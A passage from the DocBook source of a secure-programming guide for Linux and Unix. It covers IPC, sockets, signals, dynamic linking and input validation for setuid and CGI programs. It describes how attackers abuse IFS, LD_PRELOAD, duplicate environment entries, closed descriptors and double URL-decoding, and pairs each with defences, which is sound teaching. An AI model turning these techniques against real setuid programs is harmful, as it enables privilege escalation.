</para>

<para>
Note that in Linux, only root can change the owner of a given file.
Some Unix-like systems allow ordinary users to transfer ownership of their
files to another, but this causes complications and is forbidden by Linux.
For example, if you're trying to limit disk usage,
allowing such operations would allow users to claim that large files
actually belonged to some other ``victim''.
</para>

</sect2>

<sect2 id="using-acls">
<title>Using Access Control Attributes</title>

<para>
Under Linux and most Unix-like systems, reading and writing
attribute values are only checked when the file is opened; they
are not re-checked on every read or write.
Still, a large number of calls do check these attributes,
since the filesystem is so central to Unix-like systems.
Calls that check these attributes
include open(2), creat(2), link(2), unlink(2), rename(2),
mknod(2), symlink(2), and socket(2).
</para>

</sect2>

<sect2 id="filesystem-hierarchy">
<title>Filesystem Hierarchy</title>

<para>
Over the years conventions have been built on ``what files to place where''.
Where possible,
please follow conventional use when placing information in the hierarchy.
For example, place global configuration information in /etc.
The Filesystem Hierarchy Standard (FHS) tries to
define these conventions in a logical manner, and is widely used by
Linux systems.
The FHS is an update to the previous
Linux Filesystem Structure standard (FSSTND), incorporating lessons
learned and approaches from Linux, BSD, and System V systems.
See <ulink
url="http://www.pathname.com/fhs">http://www.pathname.com/fhs</ulink> for more information about the FHS.
A summary of these conventions is in hier(5) for Linux
and hier(7) for Solaris.
Sometimes different conventions disagree; where possible, make these
situations configurable at compile or installation time.
</para>

</sect2>

</sect1>

<sect1 id="sysv-ipc">
<title>System V IPC</title>

<para>
Many Unix-like systems, including
Linux and System V systems, support System V interprocess communication
(IPC) objects.
Indeed System V IPC is required by the
Open Group's Single UNIX Specification, Version 2
[Open Group 1997].
<!-- ???: how about BSD variants? -->
System V IPC objects can be one of three kinds:
System V message queues, semaphore sets, and shared memory segments. 
Each such object has the following attributes:

<itemizedlist>
<listitem>

<para>
read and write permissions for each of creator, creator group, and
others.
</para>
</listitem>
<listitem>

<para>
creator UID and GID - UID and GID of the creator of the object.
</para>
</listitem>
<listitem>

<para>
owning UID and GID - UID and GID of the owner of the
object (initially equal to the creator UID).
</para>
</listitem>

</itemizedlist>

</para>

<para>
When accessing such objects, the rules are as follows:

<itemizedlist>
<listitem>

<para>
if the process has root privileges, the access is granted.
</para>
</listitem>
<listitem>

<para>
if the process' EUID is the owner or creator UID of the object,
then the appropriate creator permission bit is
checked to see if access is granted.
</para>
</listitem>
<listitem>

<para>
if the process' EGID is the owner or creator GID of the object,
or one of the process' groups is the owning or creating GID of the object,
then the appropriate creator group permission bit is checked for access.
</para>
</listitem>
<listitem>

<para>
otherwise, the appropriate ``other'' permission bit is checked
for access.
</para>
</listitem>

</itemizedlist>

</para>

<para>
Note that root, or a process with the EUID of either the owner or creator,
can set the owning UID and owning GID and/or remove the object.
More information is available in ipc(5).
</para>

</sect1>

<sect1 id="sockets">
<title>Sockets and Network Connections</title>

<para>
<!-- Sockets are supported by System V according to Linux's socket(2) -->
Sockets are used for communication, particularly over a network.
Sockets were originally developed by the
BSD branch of Unix systems, but they are generally portable to other
Unix-like systems: Linux and System V variants support sockets as well, and
socket support is required by the Open Group's
Single Unix Specification [Open Group 1997].
System V systems traditionally used a different (incompatible) network
communication interface, but it's worth noting that systems like Solaris
include support for sockets.
Socket(2) creates an endpoint for communication and returns a descriptor,
in a manner similar to open(2) for files.
The parameters for socket specify the protocol family and type,
such as the Internet domain (TCP/IP version 4), Novell's IPX,
or the ``Unix domain''.
A server then typically calls bind(2), listen(2), and accept(2) or select(2).
A client typically calls bind(2) (though that may be omitted) and
connect(2).
See these routine's respective man pages for more information.
It can be difficult to understand how to use sockets from their man pages;
you might want to consult other papers such as
Hall "Beej" [1999]
to learn how these calls are used together.
</para>

<para>
The ``Unix domain sockets'' don't actually represent a network protocol; they
can only connect to sockets on the same machine.
(at the time of this writing for the standard Linux kernel).
When used as a stream, they are fairly similar to named pipes, but with
significant advantages.
In particular, Unix domain socket is connection-oriented; each new connection to
the socket results in a new communication channel, a very different situation
than with named pipes.
Because of this property, Unix domain sockets are often used instead of
named pipes to implement IPC for many important services.
Just like you can have unnamed pipes, you can have unnamed Unix domain sockets
using socketpair(2); unnamed Unix domain sockets
are useful for IPC in a way similar to unnamed pipes.
</para>

<para>
There are several interesting security implications of Unix domain sockets.
First, although Unix domain sockets can appear in the filesystem and can have
stat(2) applied to them, you can't use open(2) to open them (you have
to use the socket(2) and friends interface).
Second, Unix domain sockets can be used to pass
file descriptors between processes (not just the file's contents).
This odd capability, not available in any other IPC mechanism, has been used
to hack all sorts of schemes (the descriptors can basically
be used as a limited version of the
``capability'' in the computer science sense of the term).
File descriptors are sent using sendmsg(2), where the msg (message)'s
field msg&lowbar;control points to an array of control message headers
(field msg&lowbar;controllen must specify the number of bytes contained in the array).
Each control message is a struct cmsghdr followed by data, and for this purpose
you want the cmsg&lowbar;type set to SCM&lowbar;RIGHTS.
A file descriptor is retrieved through recvmsg(2) and then tracked down in
the analogous way.
Frankly, this feature is quite baroque, but it's worth knowing about.
</para>

<para>
Linux 2.2 supports an addition feature in Unix domain sockets: you can
acquire the peer's ``credentials'' (the pid, uid, and gid).
Here's some sample code:
<programlisting width="61">
<![CDATA[
 /* fd= file descriptor of Unix domain socket connected
    to the client you wish to identify */

 struct ucred cr;
 int cl=sizeof(cr);

 if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &cr, &cl)==0) {
   printf("Peer's pid=%d, uid=%d, gid=%d\n",
           cr.pid, cr.uid, cr.gid);
]]>
</programlisting>
</para>

<para>
Standard Unix convention is that binding to
TCP and UDP local port numbers less than 1024 requires
root privilege, while any process can bind to an unbound port number
of 1024 or greater.
Linux follows this convention,
more specifically, Linux requires a process to have the
capability CAP&lowbar;NET&lowbar;BIND&lowbar;SERVICE to bind to a port number less than 1024;
this capability is normally only held by processes with an euid of 0.
The adventurous can check this in Linux by examining its Linux's source;
in Linux 2.2.12, it's file <filename>/usr/src/linux/net/ipv4/af&lowbar;inet.c</filename>,
function inet&lowbar;bind().
</para>

</sect1>

<sect1 id="signals">
<title>Signals</title>

<para>
Signals are a simple form of ``interruption'' in the Unix-like OS world,
and are an ancient part of Unix.
A process can set a ``signal'' on another process (say using
kill(1) or kill(2)), and that other process would receive and
handle the signal asynchronously.
For a process to have permission to send a signal to some other process,
the sending process must either have root privileges, or
the real or effective user ID of the sending process
must equal the real or saved set-user-ID of the receiving process.
</para>

<para>
Although signals are an ancient part of Unix, they've had different
semantics in different implementations.
Basically, they involve questions such as ``what happens when a signal
occurs while handling another signal''?
The older Linux libc 5 used a different set of semantics for some signal
operations than the newer GNU libc libraries.
For more information, see the glibc FAQ (on some systems a local
copy is available at <filename>/usr/doc/glibc-*/FAQ</filename>).
</para>

<para>
For new programs, just use the POSIX signal system
(which in turn was based on BSD work); this set is widely supported
and doesn't have the problems that some of the older signal systems did.
The POSIX signal system is based on using the sigset&lowbar;t datatype, which can
be manipulated through a set of operations: sigemptyset(),
sigfillset(), sigaddset(), sigdelset(), and sigismember().
You can read about these in sigsetops(3).
Then use sigaction(2), sigaction(2), sigprocmask(2),
sigpending(2), and sigsuspend(2) to set up an manipulate signal handling
(see their man pages for more information).
</para>

<para>
In general, make any signal handlers very short and simple, and
look carefully for race conditions.
Signals, since they are by nature asynchronous,
can easily cause race conditions.
</para>

<para>
A common convention exists for servers: if you receive SIGHUP, you should
close any log files, reopen and reread configuration files, and then
re-open the log files.
This supports reconfiguration without halting the server and
log rotation without data loss.
If you are writing a server where this convention makes sense,
please support it.
</para>

</sect1>

<sect1 id="quotas">
<title>Quotas and Limits</title>

<para>
Many Unix-like systems have
mechanisms to support filesystem quotas and process resource limits.
This certainly includes Linux.
These mechanisms are particularly useful for preventing denial of service
attacks; by limiting the resources available to each user, you can make
it hard for a single user to use up all the system resources.
Be careful with terminology here, because both filesystem quotas
and process resource limits have ``hard'' and
``soft'' limits but the terms mean slightly different things.
</para>

<para>
You can define storage (filesystem) quota limits on each mountpoint
for the number of blocks of storage and/or the number of unique files
(inodes) that can be used, and you can set such limits for a given user
or a given group.
A ``hard'' quota limit is a never-to-exceed limit, while a
``soft'' quota can be temporarily exceeded.
See quota(1), quotactl(2), and quotaon(8).
</para>

<para>
The rlimit mechanism supports a large number of process quotas, such as
file size, number of child processes, number of open files, and so on.
There is a ``soft'' limit (also called the current limit) and a
``hard limit'' (also called the upper limit).
The soft limit cannot be exceeded at any time, but through calls it can
be raised up to the value of the hard limit.
See getrlimit(), setrlimit(), and getrusage().
Note that there are several ways to set these limits, including the
PAM module pam&lowbar;limits.
</para>

</sect1>

<sect1 id="dlls">
<title>Dynamically Linked Libraries</title>

<para>
Practically all programs depend on libraries to execute.
In most modern Unix-like systems, including Linux,
programs are by default compiled to use <emphasis remap="it">dynamically linked libraries</emphasis>
(DLLs).
That way, you can update a library and all the programs using that library
will use the new (hopefully improved) version if they can.
</para>

<para>
Dynamically linked libraries are typically placed in one a few special
directories. The usual directories include
<filename>/lib</filename>, <filename>/usr/lib</filename>, <filename>/lib/security</filename>
for PAM modules, 
<filename>/usr/X11R6/lib</filename> for X-windows, and <filename>/usr/local/lib</filename>.
</para>

<para>
There are special conventions for naming libraries and having symbolic
links for them, with the result that you can update libraries and still
support programs that want to use old, non-backward-compatible versions
of those libraries.
There are also ways to override specific libraries or even just
specific functions in a library when executing a particular program.
This is a real advantage of Unix-like systems over
Windows-like systems; I believe Unix-like systems have a much better system
for handling library updates, one reason that Unix and Linux systems are reputed
to be more stable than Windows-based systems.
</para>

<para>
On GNU glibc-based systems, including all Linux systems,
the list of directories automatically searched during program start-up is
stored in the file /etc/ld.so.conf.
Many Red Hat-derived distributions don't normally
include <filename>/usr/local/lib</filename>
in the file <filename>/etc/ld.so.conf</filename>.
I consider this a bug, and adding <filename>/usr/local/lib</filename> to
<filename>/etc/ld.so.conf</filename>
is a common ``fix'' required to run many programs on Red Hat-derived systems.
If you want to just override a few functions in a library, but keep the
rest of the library, you can enter the names of overriding libraries
(.o files) in <filename>/etc/ld.so.preload</filename>;
these ``preloading'' libraries will take precedence over the standard set.
This preloading file is typically used for emergency patches;
a distribution usually won't include such a file when delivered.
Searching all of these directories at program start-up would be too
time-consuming, so a caching arrangement is actually used.
The program ldconfig(8) by default reads in the file /etc/ld.so.conf,
sets up the appropriate symbolic links in the dynamic link directories
(so they'll follow the standard conventions),
and then writes a cache to /etc/ld.so.cache that's then used by other
programs.
So, ldconfig has to be run whenever a DLL is added, when a DLL is removed,
or when the set of DLL directories changes; running ldconfig is often
one of the steps performed by package managers
when installing a library.
On start-up, then, a program uses the dynamic loader to
read the file /etc/ld.so.cache and then load the libraries it needs.
</para>

<para>
Various environment variables can control this process, and in fact
there are environment variables that permit you to
override this process (so, for example, you can temporarily
substitute a different library for this particular execution).
In Linux,
the environment variable
LD&lowbar;LIBRARY&lowbar;PATH is a colon-separated set of directories where libraries
should be searched for first, before the standard set of directories;
this is useful when debugging a new library or using a nonstandard
library for special purposes.
The variable LD&lowbar;PRELOAD lists object files with functions that override
the standard set, just as /etc/ld.so.preload does.
</para>

<para>
Permitting user control over dynamically linked libraries
would be disastrous for setuid/setgid programs if special measures
weren't taken.
Therefore, in the GNU glibc implementation, if the program is setuid or setgid
these variables (and other similar variables) are ignored or greatly
limited in what they can do.
The GNU glibc library determines if a program is setuid or setgid
by checking the program's credentials;
if the uid and euid differ, or the gid and the egid differ, the
library presumes the program is setuid/setgid (or descended from one)
and therefore greatly limits its abilities to control linking.
If you load the GNU glibc libraries, you can see this; see especially
the files elf/rtld.c and sysdeps/generic/dl-sysdep.c.
This means that if you cause the uid and gid to equal the euid and egid,
and then call a program, these variables will have full effect.
Other Unix-like systems handle the situation differently but for the
same reason: a setuid/setgid program should not be unduly affected
by the environment variables set.
</para>

<para>
For Linux systems, you can get more information from my document, the
<ulink url="http://www.dwheeler.com/program-library"><emphasis>Program Library HOWTO</emphasis></ulink>.
</para>

</sect1>

<sect1 id="audit">
<title>Audit</title>

<para>
Different Unix-like systems handle auditing differently.
In Linux, the most common ``audit'' mechanism is syslogd(8), usually working
in conjuction with klogd(8).
You might also want to look at wtmp(5), utmp(5), lastlog(8), and acct(2).
Some server programs (such as the Apache web server)
also have their own audit trail mechanisms.
According to the FHS, audit logs should be stored in /var/log or its
subdirectories.
</para>

</sect1>

<sect1 id="pam">
<title>PAM</title>

<para>
Sun Solaris and nearly all Linux systems use the
Pluggable Authentication Modules (PAM) system for authentication.
PAM permits run-time configuration of authentication methods
(e.g., use of passwords, smart cards, etc.).
See <xref linkend="use-pam"> for more information on using PAM.
</para>

</sect1>

</chapter>

<chapter id="input">
<title>Validate All Input</title>

<epigraph>
<attribution>Proverbs 2:12 (NIV)</attribution>
<para>
Wisdom will save you from the ways of wicked men,
from men whose words are perverse...
</para>
</epigraph>

<para>
Some inputs are from untrustable users, so those inputs must be validated
(filtered) before being used.
You should determine what is legal and reject anything that does
not match that definition.
Do not do the reverse (identify what is illegal and write code to
reject those cases),
because you are likely to forget to handle an important case of illegal input.
</para>

<para>
There is a good reason for identifying ``illegal'' values, though, and that's
as a set of tests (usually just executed in your head)
to be sure that your validation code is thorough.
When I set up an input filter,
I mentally attack the filter to see if there are
illegal values that could get through.
Depending on the input, here are a few examples of common ``illegal'' values
that your input filters may need to prevent:
the empty string,
".", "..", "../", anything starting with "/" or ".",
anything with "/" or "&amp;" inside it, any control characters (especially NIL
and newline), and/or
any characters with the ``high bit'' set (especially
values decimal 254 and 255).
Again, your code should not be checking for ``bad'' values; you should do
this check mentally to be sure that your pattern ruthlessly limits input
values to legal values.
If your pattern isn't sufficiently narrow, you need to carefully
re-examine the pattern to see if there are other problems.
</para>

<para>
Limit the maximum character length (and minimum length if appropriate),
and be sure to not lose control when such lengths are exceeded
(see <xref linkend="buffer-overflow"> for more about buffer overflows).
</para>

<para>
For strings, identify the legal characters or legal patterns
(e.g., as a regular expression) and reject anything not matching that form.
There are special problems when strings contain control characters
(especially linefeed or NIL) or shell metacharacters; it is often
best to ``escape'' such metacharacters immediately when the input is received so
that such characters are not accidentally sent.
CERT goes further and recommends escaping all characters
that aren't in a list of characters not needing escaping [CERT 1998, CMU 1998].
See <xref linkend="limit-call-outs">
for more information on limiting call-outs.
</para>

<para>
Limit all numbers to the minimum (often zero) and maximum allowed values.
Filenames should be checked; usually you will want to not include ``..''
(higher directory) as a legal value.
In filenames it's best to prohibit any change in directory, e.g., by not
including ``/'' in the set of legal characters.
A full email address checker is actually quite complicated, because there
are legacy formats that greatly complicate validation if you need
to support all of them; see mailaddr(7) and IETF RFC 822 [RFC 822]
for more information if such checking is necessary.
</para>

<para>
Unless you account for them,
the legal character patterns must not include characters
or character sequences that have special meaning to either
the program internals or the eventual output:
<itemizedlist>
<listitem><para>
A character sequence may have special meaning to the program's internal
storage format.
For example, if you store data (internally or externally) in delimited
strings, make sure that the delimeters are not permitted data values.
A number of programs
store data in comma (,) or colon (:) delimited text files;
inserting the delimeters
in the input can be problem unless the program accounts for it (i.e., by
by preventing it or encoding it in some way).
Other characters often causing these problems include single and double quotes
(used for surrounding strings)
and the less-than sign "&lt;"
(used in SGML, XML, and HTML to indicate a tag's beginning; this is important
if you store data in these formats).
Most data formats have an escape sequence to handle these cases; use it,
or filter such data on input.
</para></listitem>
<listitem><para>
A character sequence may have special meaning if sent back out to a user.
A common example of this is permitting HTML tags in data input that will later
be posted to other readers (e.g., in a guestbook or ``reader comment'' area).
However, the problem is much more general.
See <xref linkend="cross-site-malicious-content"> for a general discussion
on the topic, and see <xref linkend="filter-html"> for a specific discussion
about filtering HTML.
</para></listitem>
</itemizedlist>
</para>

<para>
These tests should usually be centralized in one place so that the
validity tests can be easily examined for correctness later.
</para>

<para>
Make sure that your validity test is actually correct; this is particularly
a problem when checking input that will be used by another program
(such as a filename, email address, or URL).
Often these tests are have subtle errors, producing the so-called
``deputy problem'' (where the checking program
makes different assumptions than the program that actually uses the data).
If there's a relevant standard, look at it, but also search to see if
the program has extensions that you need to know about.
</para>

<para>
While parsing user input, it's a good idea to temporarily drop all privileges,
or even create separate processes (with the parser having permanently dropped
privileges, and the other process performing security checks against the
parser requests).
This is especially true if the parsing task is complex (e.g., if you use
a lex-like or yacc-like tool), or if the programming language
doesn't protect against buffer overflows (e.g., C and C++).
See
<xref linkend="minimize-privileges">
for more information on minimizing privileges.
</para>

<para>
The following subsections discuss different kinds of inputs to a program;
note that input includes process state such as environment variables,
umask values, and so on.
Not all inputs are under the control of an untrusted user, so you need
only worry about those inputs that are.
</para>

<sect1 id="command-line">
<title>Command line</title>

<para>
Many programs use the command line as an input interface, accepting
input by being passed arguments.
A setuid/setgid program has a command line interface provided to it by
an untrusted user, so it must defend itself.
Users have great control over the command line (through calls such
as the execve(3) call).
Therefore, setuid/setgid programs must validate the command line inputs and
must not trust the name of the program reported by command line argument zero
(the user can set it to any value including NULL).
</para>

</sect1>

<sect1 id="environment-variables">
<title>Environment Variables</title>

<para>
By default, environment variables are inherited from a process' parent.
However, when a program executes another program, the calling program
can set the environment variables to arbitrary values.
This is dangerous to setuid/setgid programs, because their invoker can
completely control the environment variables they're given.
Since they are usually inherited, this also applies transitively; a
secure program might call some other program and, without special measures,
would pass potentially dangerous environment variables values on to the
program it calls.
The following subsections discuss environment variables and what to
do with them.
</para>

<sect2 id="env-vars-dangerous">
<title>Some Environment Variables are Dangerous</title>

<para>
Some environment variables are dangerous because
many libraries and programs are controlled by environment
variables in ways that are obscure, subtle, or undocumented.
For example, the IFS variable is used by the <emphasis remap="it">sh</emphasis> and <emphasis remap="it">bash</emphasis>
shell to determine which characters separate command line arguments.
Since the shell is invoked by several low-level calls
(like system(3) and popen(3) in C, or the back-tick operator in Perl),
setting IFS to unusual values can subvert apparently-safe calls.
This behavior is documented in bash and sh, but it's obscure;
many long-time users only know about IFS because of its use in breaking
security, not because it's actually used very often for its intended purpose.
What is worse is that not all environment variables are documented, and
even if they are, those other programs may change and add dangerous
environment variables.
Thus, the only real solution (described below) is to select the ones you
need and throw away the rest.
</para>

</sect2>

<sect2 id="env-storage-dangerous">
<title>Environment Variable Storage Format is Dangerous</title>

<para>
Normally, programs should use the standard access routines to access
environment variables.
For example, in C, you should get values
using getenv(3), set them using the
POSIX standard routine putenv(3) or the BSD extension setenv(3)
and eliminate environment variables using unsetenv(3).
I should note here that setenv(3) is implemented in Linux, too.
</para>

<para>
However, crackers need not be so nice; crackers can directly control the
environment variable data area passed to a program using execve(2).
This permits some nasty attacks, which can only be understood by
understanding how environment variables really work.
In Linux, you can see environ(5) for a summary how about environment variables
really work.
In short, environment variables are internally stored as a pointer to
an array of pointers to characters; this array is stored in order and
terminated by a NULL pointer (so you'll know when the array ends).
The pointers to characters, in turn, each
point to a NIL-terminated string value of the form ``NAME=value''.
This has several implications, for example, environment variable names
can't include the equal sign, and neither the name nor value can have
embedded NIL characters.
However, a more dangerous implication of this format is that it allows
multiple entries with the same variable name, but with different values
(e.g., more than one value for SHELL).
While typical command shells prohibit doing this,
a locally-executing cracker can create such a situation using execve(2).
</para>

<para>
The problem with this storage format (and the way it's set)
is that a program might check one of these values
(to see if it's valid) but actually use a different one.
In Linux,
the GNU glibc libraries try to shield programs from this;
glibc 2.1's implementation of getenv will always get the first matching
entry, setenv and putenv will always set the first matching entry, and
unsetenv will actually unset <emphasis remap="it">all</emphasis> of the matching entries
(congratulations to the GNU glibc implementors for implementing
unsetenv this way!).
However, some programs go directly to the environ variable and iterate
across all environment variables; in this case,
they might use the last matching entry instead of the first one.
As a result, if checks were made against the first matching entry instead,
but the actual value used is the last matching entry,
a cracker can use this fact to circumvent the protection routines.
</para>

</sect2>

<sect2 id="env-var-solution">
<title>The Solution - Extract and Erase</title>

<para>
For secure setuid/setgid programs, the short list of environment variables
needed as input (if any) should be carefully extracted.
Then the entire environment should be erased,
followed by resetting a small set of necessary environment
variables to safe values.
There really isn't a better way if you make any calls to subordinate
programs; there's no practical
method of listing ``all the dangerous values''.
Even if you reviewed the source code of every program you call
directly or indirectly,
someone may add new undocumented environment variables after you
write your code, and one of them may be exploitable.
</para>

<para>
The simple way to erase the environment in C/C++
is by setting the global variable
<emphasis remap="it">environ</emphasis>
to NULL.
The global variable environ is defined in &lt;unistd.h&gt;; C/C++ users will
want to &num;include this header file.
You will need to manipulate this value before spawning threads, but that's
rarely a problem, since you want to do these manipulations very early in
the program's execution (usually before threads are spawned).
Another way is to use the undocumented clearenv() function.
clearenv() has an odd history; it was supposed to be defined in POSIX.1, but
somehow never made it into that standard.
However, clearenv() is defined in POSIX.9
(the Fortran 77 bindings to POSIX), so there is a quasi-official status for it.
In Linux,
clearenv() is defined in &lt;stdlib.h&gt;, but before using &num;include
to include it you must make sure that &lowbar;&lowbar;USE&lowbar;MISC is &num;defined.
A somewhat more ``official'' approach is to cause __USE_MISC to be defined
is to #define either _SVID_SOURCE or _BSD_SOURCE, then
#include &lt;features.h&gt; -
these are the official feature test macros.
To be honest, I use the approach of setting ``environ'';
manipulating such low-level components is possibly non-portable, but 
it assures you that you get a clean (and safe) environment.
In the rare case where you need later access to the entire set of
variables, you could save the ``environ'' variable's value somewhere,
but this is rarely necessary; nearly all programs need only a few values,
and the rest can be dropped.
</para>

<para>
One value you'll almost certainly re-add is PATH,
the list of directories to search for programs; PATH should
<emphasis remap="it">not</emphasis> include the current directory and usually be something simple like
``/bin:/usr/bin''.
Typically you'll also set
IFS (to its default of `` \t\n'') and TZ (timezone).
Linux won't die if you don't supply either IFS or TZ,
but some System V based systems have problems if you don't supply a TZ value,
and it's rumored that some shells need the IFS value set.
In Linux, see environ(5) for a list of common environment variables that you
<emphasis remap="it">might</emphasis> want to set.
</para>

<para>
If you really need user-supplied values, check the values first
(to ensure that the values match a pattern for legal values and that they
are within some reasonable maximum length).
Ideally there would be some standard trusted file in /etc with the
information for ``standard safe environment variable values'',
but at this time there's no standard file defined for this purpose.
For something similar, you might want to examine the PAM module pam&lowbar;env
on those systems which have that module.
</para>

<!-- I haven't seen ANYONE else discuss this in secure programming 
     guidelines, probably because shell isn't the best place to start
     anyway, but may as well mention it. -->

<para>
If you're using a shell as your programming language,
you can use the ``env'' program with the ``-'' option
(which erases all environment variables of the program being run).
Basically, you call env, give it the ``-'' option,
follow that with the set of variables and their values you wish to set
(as name=value),
and then follow that with the name of the program to run and its arguments.
Note that GNU's env also accepts the options
"-i" and "--ignore-environment" as synonyms (they also erase the
environment of the program being started), but these aren't portable to
other versions of env.
</para>

<para>
If you're programming a setuid/setgid program in a language
that doesn't allow you to reset the environment directly,
one approach is to create a ``wrapper'' program.
The wrapper sets the environment program to safe values, and then
calls the other program.
Beware: make sure the wrapper will actually invoke the intended program;
if it's an interpreted program, make sure there's no race condition possible
that would allow the interpreter to load a different program than the one
that was granted the special setuid/setgid privileges.
</para>

</sect2>

</sect1>

<sect1 id="file-descriptors">
<title>File Descriptors</title>

<para>
A program is passed a set of ``open file descriptors'', that is,
pre-opened files.
A setuid/setgid program must deal with the fact that the user gets to
select what files are open and to what (within their permission limits).
A setuid/setgid program must not assume that opening a new file will always
open into a fixed file descriptor id.
It must also not assume that standard input (stdin),
standard output (stdout), and standard error (stderr)
refer to a terminal or are even open.
</para>

<para>
The rationale behind this is easy; since an attacker can open or
close a file descriptor before starting the program,
the attacker could create an unexpected situation.
If the attacker closes the standard output, when the program opens
the next file it will be opened as though it were standard output,
and then it will send all standard output to that file as well.
Some C libraries will automatically open stdin, stdout, and stderr
if they aren't already open (to /dev/null), but this isn't true on
all Unix-like systems.
</para>

</sect1>

<sect1 id="file-contents">
<title>File Contents</title>

<para>
If a program takes directions from a file, it must not trust that file
specially unless only a trusted user can control its contents.
Usually this means that an untrusted user must not be able to modify the file,
its directory, or any of its ancestor directories.
Otherwise, the file must be treated as suspect.
</para>

<para>
If the directions in the file are supposed to be from an untrusted user,
then make sure that the inputs from the file are protected as describe
throughout this book.
In particular, check that values match the set of legal values, and that
buffers are not overflowed.
</para>

</sect1>

<sect1 id="web-apps">
<title>Web-Based Application Inputs (Especially CGI Scripts)</title>

<para>
Web-based applications (such as CGI scripts) run on some trusted
server and must get their
input data somehow through the web.
Since the input data generally come from untrusted users,
this input data must be validated.
Indeed, this information may have actually come from an untrusted third
party; see
<xref linkend="cross-site-malicious-content"> for more information.
For example, CGI scripts
are passed this information
through a standard set of environment variables and through standard input.
The rest of this text will specifically discuss CGI, because it's
the most common technique for implementing dynamic web content, but
the general issues are the same for most other dynamic web content techniques.
</para>

<para>
One additional complication is that many CGI inputs are provided in
so-called ``URL-encoded'' format, that is, some values are written in the
format &percnt;HH where HH is the hexadecimal code for that byte.
You or your CGI library must handle these inputs correctly by
URL-decoding the input and then checking
if the resulting byte value is acceptable.
You must correctly handle all values, including problematic
values such as &percnt;00 (NIL) and &percnt;0A (newline).
Don't decode inputs more than once, or input such as ``&percnt;2500''
will be mishandled (the &percnt;25 would be translated to ``&percnt;'', and the resulting
``&percnt;00'' would be erroneously translated to the NIL character).
</para>

<para>
CGI scripts are commonly attacked by including special characters in their
inputs; see the comments above.
</para>

<para>
Another form of data available to web-based applications are ``cookies.''
Again, users can provide arbitrary cookie values, so they cannot
be trusted unless special precautions are taken.
Also, cookies can be used to track users, creating a privacy
problem for many users.
As a result, many users disable cookies, so if possible your web application
should be designed so that it does not require the use of cookies.
</para>

<para>
Some HTML forms include client-side input checking
to prevent some illegal values; these are
typically implemented using Javascript/ECMAscript or Java.
This checking can be helpful for the user, since it can happen ``immediately''
without requiring any network access.
However, this kind of input checking is useless for security, because
attackers can send such ``illegal'' values directly to the web server
without going through the checks.
It's not even hard to subvert this; you don't have to write
a program to send arbitrary data to a web application.
In general, servers must perform all their own input checking
(of form data, cookies, and so on) because
they cannot trust clients to do this securely.
In short, clients are generally not ``trustworthy channels''.
See <xref linkend="trustworthy-channels">
for more information on trustworthy channels.
</para>


</sect1>

<sect1 id="other-inputs">
<title>Other Inputs</title>

<para>
Programs must ensure that all inputs are controlled; this is particularly
difficult for setuid/setgid programs because they have so many such inputs.
Other inputs programs must consider include the current directory,
signals, memory maps (mmaps), System V IPC, and the umask (which determines
the default permissions of newly-created files).
Consider explicitly changing directories (using chdir(2)) to an appropriately
fully named directory at program startup.
</para>

</sect1>

<sect1 id="locale">
<title>Human Language (Locale) Selection</title>

<para>
As more people have computers and the Internet available to them, there
has been increasing pressure for programs
to support multiple human languages and cultures.
This combination of language and other cultural factors is usually called
a ``locale''.
The process of modifying a program so it can support multiple locales
is called ``internationalization'' (i18n), and the process of providing
the information for a particular locale to a program is called
``localization'' (l10n).
</para>

<para>
Overall, internationalization
is a good thing, but this process provides another opportunity
for a security exploit.
Since a potentially untrusted user provides information on the desired
locale, locale selection becomes another input that,
if not properly protected, can be exploited.
</para>

<sect2 id="how-locales-selected">
<title>How Locales are Selected</title>

<para>
In locally-run programs (including setuid/setgid programs),
locale information is provided by an environment
variable.
Thus, like all other environment variables, these values
must be extracted and checked against valid patterns before use.
</para>

<para>
For web applications, this information can be obtained from the web
browser (via the Accept-Language request header).
However, since not all web browsers properly pass this information
(and not all users configure their browsers properly),
this is used less often than you might think.
Often, the language requested in a web browser
is simply passed in as a form value.
Again, these values must be checked for validity before use, as with
any other form value.
</para>

<para>
In either case, locale information is
really just a special case of input discussed in the previous sections.
However, because this input is so rarely considered,
I'm discussing it separately.
In particular,
when combined with format strings (discussed later), user-controlled
strings can permit attackers to force other programs to run
arbitrary instructions,
corrupt data, and do other unfortunate actions.
</para>

</sect2>

<sect2 id="locale-support-mechanisms">
<title>Locale Support Mechanisms</title>

<para>
There are two major library interfaces for supporting locale-selected
messages on Unix-like systems,
one called ``catgets'' and the other called ``gettext''.
In the catgets approach, every string is assigned a unique number, which
is used as an index into a table of messages.
In contrast,
in the gettext approach, a string (usually in English) is used to
look up a table that translates the original string.
catgets(3) is an accepted standard
(via the X/Open Portability Guide, Volume 3 and
Single Unix Specification),
<!-- http://www.opengroup.org/onlinepubs/007908799/xsh/catopen.html -->
so it's possible your program uses it.
The ``gettext'' interface is not an official standard,
(though it was originally a UniForum proposal), but I believe it's the
more widely used interface
(it's used by Sun and essentially all GNU programs).
</para>

<para>
In theory, catgets should be slightly faster, but this is at best
marginal on today's machines, and the bookkeeping effort to keep
unique identifiers valid in catgets() makes the gettext() interface
much easier to use.
I'd suggest using gettext(), just because it's easier to use.
However, don't take my word for it; see GNU's documentation on gettext
(info:gettext#catgets) for a longer and more descriptive comparison.
</para>

<para>
The catgets(3) call (and its associated catopen(3) call)
in particular is vulnerable
to security problems, because the environment variable NLSPATH can be
used to control the filenames used to acquire internationalized messages.
The GNU C library ignores NLSPATH for setuid/setgid programs, which helps,
but that doesn't protect programs running on other implementations, nor
other programs (like CGI scripts) which don't ``appear'' to
require such protection.
</para>

<para>
The widely-used ``gettext'' interface is at least not
vulnerable to a malicious NLSPATH setting to my knowledge.
However, it appears likely to me that malicious settings of
LC_ALL or LC_MESSAGES could cause problems.
Also, if you use gettext's bindtextdomain() routine in its file cat-compat.c,
that does depend on NLSPATH.
</para>
</sect2>

<sect2 id="locale-legal-values">
<title>Legal Values</title>

<para>
For the moment, if you must permit untrusted users to set information on
their desired locales, make sure the provided internationalization information
meets a narrow filter that only permits legitimate locale names.
For user programs (especially setuid/setgid programs), these values
will come in via NLSPATH, LANGUAGE, LANG, the old LINGUAS, LC_ALL, and
the other LC_* values (especially LC_MESSAGES, but also including
LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC, and LC_TIME).
For web applications, this user-requested set of language information
would be done via the Accept-Language request header or a form value
(the application should indicate the actual language setting of the
data being returned via the Content-Language heading).
You can check this value as part of your environment variable filtering if
your users can set your environment variables (i.e., setuid/setgid
programs) or as part of your input filtering (e.g., for CGI scripts).
The GNU C library "glibc" doesn't accept some values of LANG for
setuid/setgid programs (in particular anything with "/"),
but errors have been found in that filtering
